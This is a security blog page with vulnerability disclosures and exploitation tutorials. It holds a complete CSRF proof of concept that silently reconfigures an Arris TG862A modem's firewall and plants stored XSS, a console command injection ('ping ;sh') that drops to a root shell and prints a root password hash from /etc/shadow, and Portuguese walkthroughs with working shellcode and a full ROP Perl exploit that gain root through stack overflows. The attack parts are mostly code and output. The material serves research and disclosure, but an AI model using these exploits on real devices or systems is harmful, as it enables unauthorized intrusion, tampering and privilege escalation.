m0nad's Blog

Just another WordPress.com site

Persistent XSS and CSRF in TG862A Arris Modem

leave a comment »

Continue with the bugs founded by me on the Arris Modem Series, the TG862A(TS0705125D_031115_MODEL_862_GW) Arris Modem have some obvious persistent XSS and CSRF bugs , in the ‘Firewall’ area.

In the  Firewall->Virtual Servers section
firewall-area

We can add a new ‘Virtual Server’
add-virtual-serv

And put the malicious Javascript code on the “Description” field
add-virtual-server-xss

After click on the button for add a new virtual server, this make the requests to create a new virtual server and when the “virtual server” page with malicious Javascript is called, shows the alert pop-up
xss-popup

The application don’t have any kind of protection to prevent CSRF attacks and the code used for PoC is below. 😉

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpGet?oids=1.3.6.1.4.1.4115.1.20.1.1.2.2.1.5.12;&_n=26020&_=1448050502692", true);
        xhr.setRequestHeader("Accept", "text/plain, */*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <script>
      function submitRequest2()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpGet?oids=1.3.6.1.4.1.4115.1.20.1.1.2.2.1.3.12;&_n=26020&_=1448050509837", true);
        xhr.setRequestHeader("Accept", "text/plain, */*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest2();
    </script>
    <script>

      function submitRequest3()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11.1=5;2;&_n=26020&_=1448050512017", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest3();
    </script>
    <script>
      function submitRequest4()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.2.1=test%3Cscript%3Ealert(1)%3C%2Fscript%3E;4;&_n=26020&_=1448050516100", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest4();
    </script>
    <script>
      function submitRequest5()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.3.1=666;66;&_n=26020&_=1448050518619", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest5();
    </script>
    <script>
      function submitRequest6()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.4.1=666;66;&_n=26020&_=1448050530861", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest6();
    </script>
    <script>
      function submitRequest7()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.5.1=1;2;&_n=26020&_=1448050533971", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest7();
    </script>
    <script>
      function submitRequest8()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.6.1=1;2;&_n=26020&_=1448050539233", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest8();
    </script>
    <script>
      function submitRequest9()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.7.1=%24C0A8000A;4;&_n=26020&_=1448050545672", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest9();
    </script>
    <script>
      function submitRequest10()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.9.1=666;66;&_n=26020&_=1448050550616", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest10();
    </script>
    <script>
      function submitRequest11()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.10.1=666;66;&_n=26020&_=1448050556630", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest11();
    </script>
    <script>
      function submitRequest12()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11.1=1;2;&_n=26020&_=1448050559849", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest12();
    </script>
    <script>
      function submitRequest13()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.9.0=1;2;&_n=26020&_=1448050563269", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest13();
    </script>
  </body>
</html>

Regards.

update: Vulnerabilities still in TS0705125E_111615_MODEL_862_GW

Written by m0nad

novembro 20, 2015 at 9:29 pm

Publicado em Uncategorized

Command injection in Arris modens

with 2 comments

Inspired by the publication of Bernardo Rodrigues for NullByte Conference in his blog(http://w00tsec.blogspot.com.br/2015/11/arris-cable-modem-has-backdoor-in.html) of some command injections (backdoors?) in the restricted shell of Arris modems, i decided to publish another injection of commands that he may not have noticed, in the ‘ping’ feature.

Arris TG862A Command Injection
--
Arris TG862A has a console(ARRIS Console) that within the "System"
context, have a command injection in the ping feature. The password for
the ARRIS Console is the "password of the day".

Version affected
--
Hardware Model:         TG862A
Firmware Name:          TS0705125_062314_MODEL_862_GW
Firmware Revision:      7.5.125
Base Version:           2.0.5.38

PoC
--
```
$ telnet 192.168.100.1
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.



                           `!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM::~
                               ``!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM!:~` ~   
                                    !MMMMMMMMMMMMMMMMMMMMMMM!:`     :~~     
                                     :MMMMMMMMMMMMMMMM!~        :~~~~       
                                   .:MMMMMMMMMM!:~           ~~~~~~         
                              ..:MMMMMMM!:~`             :~~~~~~~           
                         .:MMMMMM:~`                ::~~~~~~~~~             
                    .:MMMMM:~                    .!!!!!!: ~~~~              
              ..:MMM:~`                         .!!!!`      ~               
        ..:MM:~`                                !!`                         
   .:M:~` 


        AA              RRRRRRR          RRRRRRR          III         SSSSS  
       AAAA             RRRRRRRRR        RRRRRRRRR        III       SSSSSSSSS
      AAAAAA            RRR    RRR       RRR    RRR       III      SSS    SS 
     AAA  AAA           RRR   RRRR       RRR   RRRR       III       SSSS     
    AAA    AAA          RRRRRRRRR        RRRRRRRRR        III         SSSSSS 
   AAAAAAAAAAAA         RRR  RRR         RRR  RRR         III            SSSS
  AAA        AAA        RRR   RRR        RRR   RRR        III       SS    SSS
 AA            AA       RRR    RRR       RRR    RRR       III      SSSSSSSSS 
A                A      RRR       R      RRR       R      III        SSSSS   


          ARRIS Enterprises, Inc. 2014 All rights reserved




Enter password> 

Spawning ARRIS Console

Firmware Revision:      7.5.125
[  1] Console> system
[  2] System> ping ;sh
ping -I wan0 ;sh 
BusyBox v1.15.2 (2014-06-23 08:08:11 EDT) multi-call binary

Usage: ping [OPTIONS] HOST



BusyBox v1.15.2 (2014-06-23 08:08:11 EDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# cat /etc/shadow
root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7:::
# 
```

Credits
--
Victor N. Ramos Mello <victornrm () gmail com>

obs: This bug still active in TS0705125D_031115_MODEL_862_GW firmware.

Written by m0nad

novembro 20, 2015 at 6:13 pm

Publicado em Uncategorized

Passando por ASLR com ret2eax

with 2 comments

Passando por ASLR com ret2eax

1) Introdução
2) Ambiente
3) Código
4) Verificando a viabilidade da exploração
5) Exploração
6) Binário
7) Contato
8) Referências

1) Introdução

Neste artigo mostrarei  como utilizar a técnica conhecida como ret2reg(return to register) para dar bypass em Address Space Layout Randomization(ASLR)[1], com exceção do Position-Independent Executable(PIE)[2], este tipo de técnica se baseia em como a stack funciona, chamada de ‘stack juggling methods'[3].
O problema na exploração de stack-based buffer overflows com ASLR é que o endereço do nosso shellcode estará cada vez em um lugar diferente, devido a pseudo-aleatoriedade da stack, a ideia por traz do ret2reg é utilizar um endereço não-aleatório da área de ‘text’ por exemplo, que contenha um jmp ou call para para um registrador que esteja apontando para o nosso shellcode, ou seja, o atacante não precisa saber o endereço da onde esta o shellcode, mas se utiliza de um registrador que estará apontando para o mesmo.
A técnica que irei demonstrar é conhecida como ret2eax, ou seja, vamos ver um caso aonde o registrador eax estará apontando para o nosso shellcode, e iremos procurar um jmp ou call para eax, sobrescrevendo o endereço de retorno salvo na pilha por este endereço.
2) Ambiente

O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.


m0nad@m0nad-notebook:~$ cat /etc/issue.net
Ubuntu 11.04
m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.38-13-generic #56-Ubuntu SMP Tue Feb 14 12:40:40 UTC 2012 i686 i686 i386 GNU/Linux
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

m0nad@m0nad-notebook:~$

As proteções do sistema operacional podem ser encontradas no wiki do ubuntu[4]
3) Código

Para a realização do ret2eax precisamos que o eax aponte para o shellcode, como sabemos que o valor de retorno fica em eax, e que a função strcpy retorna o endereço para o buffer, basta que a função que chamou o strcpy não coloque nenhum outro valor em eax, mantendo assim o endereço de eax para o buffer, que estará o nosso shellcode.
Vejamos o código:


m0nad@m0nad-notebook:~$ cat ret2eax.c
#include <string.h>
void
main(int argc, char ** argv)
{
 char buf[256];
 strcpy(buf, argv[1]);
}

Vemos que a função main não retorna nada (ou seja, não irá alterar o valor de eax), isso fará com que o eax continue com o endereço do nosso buffer, ou seja com o endereço da onde estará o nosso shellcode.

Compilei o código sem Smash The Stack Protector(Propolice) utilizando a opção do gcc -fno-stack-protector, alem de permitir execução na stack, para que nosso shellcode possa ser executado, com o a opção do gcc -z execstack.


m0nad@m0nad-notebook:~$ gcc -o ret2eax ret2eax.c -fno-stack-protector -z execstack

Utilizando o checksec.sh[5] verificamos as proteções ativas do binário.


m0nad@m0nad-notebook:~$ bash checksec.sh --file ret2eax
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH ret2eax

Podemos ver que o binário esta com RELRO parcial, sem SSP, sem Non eXecute ativado, sem PIE, sem relative path ou runpath.

Verificamos também que o ASLR esta ativo no kernel.


m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space
2
m0nad@m0nad-notebook:~$

4) Verificando a viabilidade da exploração

Após compilar, vamos tentar controlar o eip dentro do depurador gdb.


(gdb) r `perl -e 'print "A" x 268 . "B" x 4'`
Starting program: /home/m0nad/ret2eax `perl -e 'print "A" x 268 . "B" x 4'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Sucesso! controlamos o eip, vamos verificar se o eax esta apontando para o nosso buffer.


(gdb) i r $eax
eax 0xbffff100 -1073745664
(gdb) x/s 0xbffff100
0xbffff100: 'A' <repete 200 vezes>...
(gdb)

Podemos ver que o eax esta apontando para o nossos ‘A’s, vamos então procurar se existe algum call para o eax.


m0nad@m0nad-notebook:~$ objdump -D ret2eax | grep -E 'call\s*\*%eax'
 80483bf: ff d0 call *%eax
 804847b: ff d0 call *%eax
m0nad@m0nad-notebook:~$

Encontramos, basta então colocarmos o shellcode seguido de algum lixo para encher o resto do buffer, e no final o endereço para o call eax, ficando algo como:


[shellcode][lixo][&call eax]

5) Exploração

Vamos a exploração, para fins de demonstração vamos setar o binário para suid root.


m0nad@m0nad-notebook:~$ sudo chown root:root ret2eax
[sudo] password for m0nad:
m0nad@m0nad-notebook:~$ sudo chmod +s ret2eax

O shellcode utilizado foi um simples execve para um /bin/sh, para aprender a construir o seu veja o meu artigo[6], utilizei nops para encher o buffer, seguido do endereço do call eax.


m0nad@m0nad-notebook:~$ ./ret2eax `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" . "\x90" x 243 . "\xbf\x83\x04\x08"'`
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad)
#

r00t!

6) Binário

O binário utilizado pode ser encontrado no meu github[7]

7) Contato

Victor Ramos Mello (m0nad)
victornrm at gmail.com | m0nad at email.com
m0nadlabs.wordpress.com
@m0nadlabs
8) Referências

[1] https://en.wikipedia.org/wiki/Address_space_layout_randomization
[2] https://en.wikipedia.org/wiki/Position-independent_code
[3] http://events.ccc.de/congress/2005/fahrplan/attachments/539-Paper_AdvancedBufferOverflowMethods.pdf
[4] https://wiki.ubuntu.com/Security/Features
[5] http://www.trapkit.de/tools/checksec.html
[6] https://raw.github.com/m0nad/Papers/master/ConstruindoShellcodes.txt
[7] https://github.com/m0nad/Papers/tree/master/ret2eax/bin

Written by m0nad

março 9, 2012 at 12:44 pm

Publicado em Assembly, C, Segurança

Return-Oriented Programming na unha!

with 4 comments

Return-Oriented Programming na unha!

1) Introdução
2) Ambiente
3) Código
4) Payload
5) Exploit
6) Binário
7) Referências

1) Introdução

Return-Oriented Programming é uma técnica de exploração que o atacante controlando a stack, encadeia endereços para instruções seguidas de um return, estes chamados de gadgets[1]. Esta técnica é muito interessante por passar por proteções como Executable space protection(NX, DEP, W^X)[2].

Existem ferramentas para encontrar os gadgets como ROPEME[3] e ROPgadget[4], este último capaz de gerar o payload, mas podemos encontrar os mesmos manualmente, ou seja, procurando pelas próprias instruções no binário.

2) Ambiente

O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.


m0nad@m0nad-notebook:~$ cat /etc/issue.net
Ubuntu 11.04
m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:23:39 UTC 2011 i686 i686 i386 GNU/Linux
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

m0nad@m0nad-notebook:~$

As proteções do sistema operacional pode ser encontrada no wiki do ubuntu[5]

Podemos ver que o ASLR está ativo.

m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space
2
m0nad@m0nad-notebook:~$

3) Código

O código foi um stack-based buffer overflows clássico:


m0nad@m0nad-notebook:~$ cat vuln.c

#include <string.h>
int
main(int argc, char ** argv)
{
 char buffer[256];
 if (argc < 2)
  return 1;
 strcpy(buffer, argv[1]);
 return 0;
}

Compilei sem Smash the Stack Protection(SSP – Propolice)[6], utilizando a opção -fno-stack-protector do gcc, e com a opção -static, assim ele ira compilar com todo o código estatico, possibilitando assim mais gadgets.


m0nad@m0nad-notebook:~$ gcc -o vuln vuln.c -fno-stack-protector -static -Wall -Wextra

Rodamos o checksec.sh[7] para verificar as proteções no binário.


m0nad@m0nad-notebook:~$ bash checksec.sh --file vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln
m0nad@m0nad-notebook:~$

Percebemos que estamos com RELRO parcial, sem SSP, com Non eXecute ativado, sem PIE, sem relative path ou runpath.

4) Payload

A ideia do payload é a mesma de um shellcode normal, colocar a syscall de execve em eax, o endereço da string /bin//sh em ebx, e nesse caso ecx e edx apontando para NULL, utilizando do exemplo do payload que o ROPgadget gera, vamos usar a area de .data para colocar a string, usei o readelf para descobrir o endereço:


m0nad@m0nad-notebook:~$ readelf -S vuln | grep 22
[22] .data PROGBITS 080cf020 086020 000740 00 WA 0 0 32
m0nad@m0nad-notebook:~$

Precisamos então dos gadgets, para isso usei o objdump, com a opção -D para ‘disassemblar’, e o grep, para achar expressões regulares das instruções.

Primeiros gadgets que procurei foi para controlar os registradores, um pop %ecx seguido de ret:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%ecx' -A2 | grep ret -B2
 8053ed6: 59 pop %ecx
 8053ed7: 5b pop %ebx
 8053ed8: c3 ret
--
--
 80cae04: 59 pop %ecx
 80cae05: c3 ret
m0nad@m0nad-notebook:~$

Legal, temos um pop %ebx | ret, e um pop %ecx | ret, vamos procurar um pop %edx | ret:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%edx' -A2 | grep ret -B2
 8053eac: 5a pop %edx
 8053ead: c3 ret
m0nad@m0nad-notebook:~$

Certo, um pop %eax | ret seria bom:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%eax' -A2 | grep ret -B2
 80cc415: 58 pop %eax
 80cc416: 03 0a add (%edx),%ecx
 80cc418: c3 ret
m0nad@m0nad-notebook:~$

Hmm, achamos um, mas ele tem um efeito colateral do add (%edx),%ecx que precede o ret, vamos ver se temos uma maneira de mover de algum registrador para o eax:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[b-d]x,%eax' -A1 | grep ret -B1
 80770ac: 89 d0 mov %edx,%eax
 80770ae: f3 c3 repz ret
--
 80aa9a7: 89 d0 mov %edx,%eax
 80aa9a9: c3 ret
m0nad@m0nad-notebook:~$

Pronto, podemos usar o mov %edx,%eax | ret para controlar o eax, podemos então colocar o endereço de .data em algum registrador, e mover a string /bin//sh para esta area de memoria, para isso precisamos de mov de algum registrador que controlamos para alguma área de memoria:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[a-d]x,\(%e[a-d]x\)' -A1 | grep -E 'ret\s+' -B1
 8080391: 89 02 mov %eax,(%edx)
 8080393: c3 ret
m0nad@m0nad-notebook:~$

Temos! precisamos então, de um xor %eax,%eax por exemplo, para colocarmos um null-byte na pilha.


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'xor\s*%eax,%eax' -A1 | grep ret -B1
 8051be1: 31 c0 xor %eax,%eax
 8051be3: c3 ret
--
 8051c00: 31 c0 xor %eax,%eax
 8051c02: c3 ret
--
 806d2f4: 31 c0 xor %eax,%eax
 806d2f6: c3 ret
--
 8070f9a: 31 c0 xor %eax,%eax
 8070f9c: c3 ret
--
 8071140: 31 c0 xor %eax,%eax
 8071142: c3 ret
--
 809d40f: 31 c0 xor %eax,%eax
 809d411: c3 ret
m0nad@m0nad-notebook:~$

Temos de sobra, bem, agora só precisamos de inc %eax, para colocarmos o valor correto de execve:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'inc\s*%eax' -A1 | grep ret -B1
 806d84f: 40 inc %eax
 806d850: c3 ret
--
 80c9dc3: 40 inc %eax
 80c9dc4: c3 ret
--
 80cbd20: 40 inc %eax
 80cbd21: ca fa ff lret $0xfffa
--
 80cefab: ff c0 inc %eax
 80cefad: cf iret
m0nad@m0nad-notebook:~$

Temos alguns, e é claro, precisamos de um int $0x80 para chamar o kernel para executar a nossa syscall:


m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'int\s*\$0x80'
 80487bf: cd 80 int $0x80
 8052f2c: cd 80 int $0x80
 8053fa8: cd 80 int $0x80
 80545f0: cd 80 int $0x80
 8077023: cd 80 int $0x80
 807a5c8: cd 80 int $0x80
 808b355: cd 80 int $0x80
 808b35e: cd 80 int $0x80
m0nad@m0nad-notebook:~$

Pronto, com esses gadgets é possível chamar um execve(“/bin//sh”, NULL, NULL).

5) Exploit

O exploit basta usar os gadgets encontrados, primeiro colocamos a string “/bin” em eax.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin

Depois jogamos a string para .data.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#data = /bin

Fazemos o mesmo para colocar “//sh” em .data + 4.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

Usamos o gadget xor %eax,%eax | ret para colocar o null-byte no final da string em .data + 8.


$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

Colocamos o endereço de data, ou seja da string /bin//sh em ebx, e ponteiro para NULL que é .data + 8.


$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

Pronto, basta usar o xor %eax,%eax | ret e inc %eax | ret para colocar o valor da syscall execve (0xb) em eax, e chamar o int $0x80 | ret.


$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

Vamos ao exploit completo!


#!/usr/bin/perl

use strict;

my $p = "a" x 268;

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh

$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0

$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);

$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;

Para a exploração vamos colocar em suid root para fins de demonstração:


m0nad@m0nad-notebook:~$ sudo chown root:root vuln
[sudo] password for m0nad:
m0nad@m0nad-notebook:~$ sudo chmod +s vuln

E finalmente a exploitação:


m0nad@m0nad-notebook:~$ ./vuln "$(perl xpl_vuln.pl)"
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad)
#

r00t!

6) Binário

O binário e exploit utilizados podem ser encontrado no meu github[8]

7) Referências

[1] http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html
[2] http://en.wikipedia.org/wiki/Executable_space_protection
[3] http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[4] http://shell-storm.org/project/ROPgadget/
[5] https://wiki.ubuntu.com/Security/Features
[6] http://en.wikipedia.org/wiki/Stack-smashing_protection
[7] http://www.trapkit.de/tools/checksec.html
[8] https://github.com/m0nad/Papers/tree/master/ropnaunha/bin

Written by m0nad

janeiro 23, 2012 at 11:02 pm

Publicado em Assembly, C, Segurança

Nuit du Hack Level10 – Return-Oriented Programming

with 4 comments

Ultimo level desse wargame 😀

Bem, confesso que vi um vídeo do da tool ROPgadget, do Jonathan Saiwan (http://shell-storm.org/project/ROPgadget/) que usa este level do wargame como demonstração de sua ferramenta.

Mas entendendo o conceito vou tentar passar aqui para vocês.

O método de exploração tende ser ROP, Return-Oriented Programming, que consiste em utilizar ‘gadgets’, que são endereços de instruções de maquina no próprio binário/processo, instruções estas seguidas da instrução ‘ret’, o encadeamento dessas instruções construímos o shellcode.

